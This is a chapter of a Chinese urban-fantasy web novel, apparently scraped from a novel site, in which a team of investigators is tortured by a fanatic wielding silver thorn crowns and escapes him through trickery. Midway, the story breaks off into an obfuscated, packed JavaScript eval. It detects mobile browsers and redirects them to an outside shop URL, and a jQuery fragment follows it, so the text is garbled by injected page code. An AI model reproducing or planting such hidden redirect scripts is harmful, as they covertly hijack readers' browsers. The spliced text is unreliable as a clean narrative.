文趣网 > 都市小说 > 异常入侵后靠假货杀疯成神 > 17.你愚弄了他的信仰
    “为你的罪孽忏悔吧。”

    随着维拉德的话音,银刺冠落下,与此同时银色的尖刺从林朔身体里伸出,银刺的尖端顿时被鲜血染红,极致的痛苦让他连坐都坐不稳,整个人顺着座椅滑下去。

    “嗯…嘶……啊……”林朔极力忍耐却还是有疼痛的尾音从喉间涌出。

    他几乎要疼晕过去,但银刺冠却不会允许犯人以此逃离审判。

    所以林朔只能清醒的承受这极致的痛苦。

    因为,这是他犯下的、不可饶恕的罪孽。

    “怎么会这样?”程默头一次见林朔痛苦成这样,一根又一根的银刺从他身体里伸出,把他整个人扎成刺猬。

    “是银刺冠的能力,”元浩小声冲程默科普,“以不同程度的痛苦审判自身的罪恶。”

    用痛苦审判罪恶?

    程默看向林朔,一个恪守程序的人,到底会有什么样的罪恶能全身长刺?

    “真是罪孽深重,”维拉德欣赏了一会林朔的表情,转眸看向剩下的人,“那么接下来,该谁了?”

    “是无能的懦夫?还是可怜的囚徒?抑或者——”他笑着把视线挪到程默身上,眼里流露出厌恶,“偷窃的老鼠?”

    老鼠?

    怎么到她这连个人都不是了?

    在他的视线落到程默身上的瞬间,一股难以言喻的恐惧和渴望从心里弥漫,就像是在沙漠里突然发现了绿洲。

    渴望已久的东西就在眼前,但她却担心着未知的恐惧。

    身后椅子的阴影缓缓凝视,逐渐变得粘稠。

    “维拉德,你阻拦我们是想和异常处理局分署开战吗?”姜知伸出手拦住维拉德看向程默的视线,冷静开口道。

    “虫子就是虫子,到了这种时候就乖乖跪下向我求饶啊,狐假虎威的……”维拉德嘴角的弧度缓缓拉平,语气平静到透出麻木。

    他眼珠转动,看向姜知,骂道:“到底有什么用!”

    随着他的怒火,数十条银色荆棘躁动着冲进车内,一瞬间冲破所有玻璃。

    “哗啦——”玻璃渣碎了满车。

    在玻璃即将触碰到程默时,背后的阴影突然将其吞没。

    玻璃和荆棘在他们身上擦出血痕,随着荆棘退去,银刺冠戴在了每个人头上。

    “来,向我忏悔,”维拉德伸出手,命令道,“说你们不该在伟大的维拉德大人面前搞小聪明。”

    元浩摸着头顶冰冷的银刺冠,疼痛密密麻麻的从身体的各个角落冒出,随着银刺的生长,越来越疼,痛的他想开口求饶,可刚张开嘴,他就猛的咬住嘴唇。

    不可以,不能再求饶。

    他是超凡者,他要保护普通人的,他有能力有责任去保护。

    程默都没喊痛,他这个超凡者怎么能受不了。

    况且他压根没干过什么伤天害理的坏事,所以不会很痛的。

    心里这么想着,身上的痛苦好想也真的停留在他接受的范围内。

    元浩看了看姜知,她唇色微白,身体在抖,但眼睛还是一如既往像平静的湖面,再大的疼痛也无法掀起她的情绪。

    他深呼吸了两下,开口道:“离开!”

    那声音飘渺含糊,越想听越难以听清。

    在说出口的瞬间,血色从唇边涌出,喉咙又涩又疼,这下就是想求饶也说不了了。

    他抬眼看向维拉德,只见他的身体突然向侧面动了一下,似要倒下。

    成功了!成功用出超凡能力了!

    还没等他高兴,维拉德就站直了身体,目光锁定到他身上,开口:“你刚才,干了什么?”

    元浩下意识摇头否认。

    身上的银刺突然同时刺出,疼的他撕裂喉咙喊疼。

    “对我说谎也是罪恶,”维拉德嗤笑,神态依旧高高在上,“莫名其妙又毫无作用的能力。”

    “那这个有作用吗?”

    冷淡的女声倏然响起。

    什么?

    维拉德的思维空白了一瞬,他太自负了,自负到不相信会有人戴着银刺冠还能动。

    视线里迎面出现一根红色的撬棍,撬棍的主人,正是那个偷取他果实的小偷,程默伸手扒着车框,堂而皇之的冲到了他眼前。

    而她的头上,空空如也。

    怎么可能,在刚才那种情形下,她怎么可能逃离银刺冠的制裁!

    “啪——”撬棍精准打到面门。

    有面具在,这一棍毫无攻击力可言,但侮辱属性拉满。

    “该死!”维拉德摸着自己脸上的面具,脸色阴沉的可怕。

    程默踩着车框站在他面前,挑了挑眉,问道:“怎么,你也要我忏悔?”

    “你不配向我忏悔,恶心的窃贼。”维拉德伸出手,银色荆棘缠绕在他手中。

    程默举起撬棍,指了指他,说道:“我没惹你吧?”

    “偷走了我的果实,还不承认。”

    果实?

    程默想起丰收酒店的那个人皮。

    对了,在他的故事里,他偷走了东西被异常追杀……

    然后呢,他是怎么到丰收酒店的?

    程默暗骂一声,这死人皮,讲故事还讲一半。

    “如果你说的是丰收酒店,”她开口解释,尾音拉长,“那我可不算偷。”

    维拉德看向她,蓝眸如玻璃般澄澈,让人一眼就看到里面的不屑。

    他手中的荆棘汇聚成棍,竖在胸前如一柄利剑,他闭上眼,虔诚开口:“愿以您的权柄,献上鲜血与痛苦。”

    随后,荆棘棍甩出,像折叠棍般瞬间伸长,如鞭子般缠绕住程默,银刺瞬间刺出,捅出无数个对穿。

    “你这人完全不听人说话啊?”程默无奈开口,她低头看了看自己的身体,“嘶,看着都疼。”

    维拉德神色微变,眯了眯眸,道:“你做了什么?”

    “你猜啊。”

    在他的视线下,程默的身体逐渐抽长,最终化作深黑的泥浆流走。

    “清道夫?”维拉德显然也认出这是什么,讽刺道,“怎么,丰收酒店也沦为他人的走狗了。”

    “还是,你们终于接受信仰已死?”

    他嘲笑着,黑泥却丝毫没有被激怒的迹象,只是朝车外而去,急驰的飞快的,像投入母亲怀抱的孩子,那样急切、渴望。

    不对劲。

    维拉德眯了眯眸,丰收酒店那群疯子什么时候听到这种话能冷静下来了?

    他顺着黑泥的路径去看,只见本该待在车厢里的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533442|203722||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    几人此刻正在车外挪动。

    被摆了一道!

    维拉德眼底染上猩红。

    元浩小心拖着林朔的动作突然一顿,抬头看向维拉德,连忙道:“完了完了,被发现了。”

    靠在路灯下的程默睁开眼,视野恍惚,累的一根手指都抬不起来,她朝着姜知的方向开口:“我尽力了。”

    背着周艺的姜知点了点头,说道:“辛苦了。”

    “你们……竟敢戏弄我!竟敢将我的权柄踩在脚下!”

    维拉德理智崩盘,无数血红的荆棘从白袍下伸出,铺天盖地的一片血红,没有固定的针对人选,完全是随机的无差别攻击。

    他双手捂面,任由荆棘爬到身上,在他头顶凝成血红的刺冠,忏悔道:“伟大的红冕,我竟向您献上了虚假的痛苦,愿鲜血洗刷我的罪行,请您惩罚。”

    舞动乱飞的荆棘像一条条红飘带,谁也不知道下一秒风向如何。

    “这个怕是更疼吧?”元浩后退几步,在姜知身侧嘀咕。

    姜知瞥了他一眼,说道:“你可以求饶,看看他会不会饶了你。”

    “不过据我计算,概率是0。”

    元浩被噎,转念一想,林朔可是治愈,疼的同时被治愈,是不是就没那么疼了?

    于是,他蹲下身看向林朔,喊道:“队长!队长你现在怎么样了?”

    没有回应,林朔像是陷入了极致的痛苦之中,对外界毫无反应。

    “权柄的力量只有同为权柄才能克制,”姜知开口打消元浩的念头,随后抬眼看向正前方,说道,“来了。”

    一道鲜红的荆棘朝着几人而来,目的明确,程默。

    不是吧?欺负她现在跑不了吗?

    刚想摆烂的程默立马开始扭动着身体,尝试挪开,但体力耗尽的情况下,她连抬手的力气都没有。

    “我还有没完成的任务,”姜知顺手拉过元浩,让他挡在程默面前,“顶上。”

    “什么?”

    元浩还没反应过来,血红的荆棘就像毒蛇般缠绕到他身上,比银刺冠强上千百倍的痛苦加注,疼的他瞬间满地打滚,嘴里求饶——

    “啊啊啊!饶了我吧!我们不该在伟大的维拉德大人面前搞小聪明!”

    程默嘴角扯了扯,这求饶的话记得还真是清楚啊。

    “又来了。”

    不等程默松口气,姜知再次开口。

    又一条鲜红的荆棘朝他们靠近,目标还是程默。

    “怎么追着我杀啊?”

    姜知看了她一眼,解释道:“因为,你愚弄了他的信仰。”

    信仰?

    都超凡者了还信仰?

    程默扯了扯嘴角,现实的魔幻果然是她不能想象的。

    姜知看了一眼飞来的荆棘,轻轻放下背后的周艺。

    她伸手,一把抓住荆棘,任由自己被缠上,猩红一路爬上,疼痛让她不受控制的流下生理性泪水,但在那双毫无感情的眼睛里,仍然看不到痛苦,以及其他情绪。

    程默微微瞪大眼睛,没想到姜知会来拦。

    “我的任务在刚刚完成了,”姜知声音颤抖,但说话还是一眼一板,“所以由我来保护你。”

    “这是能力所及。”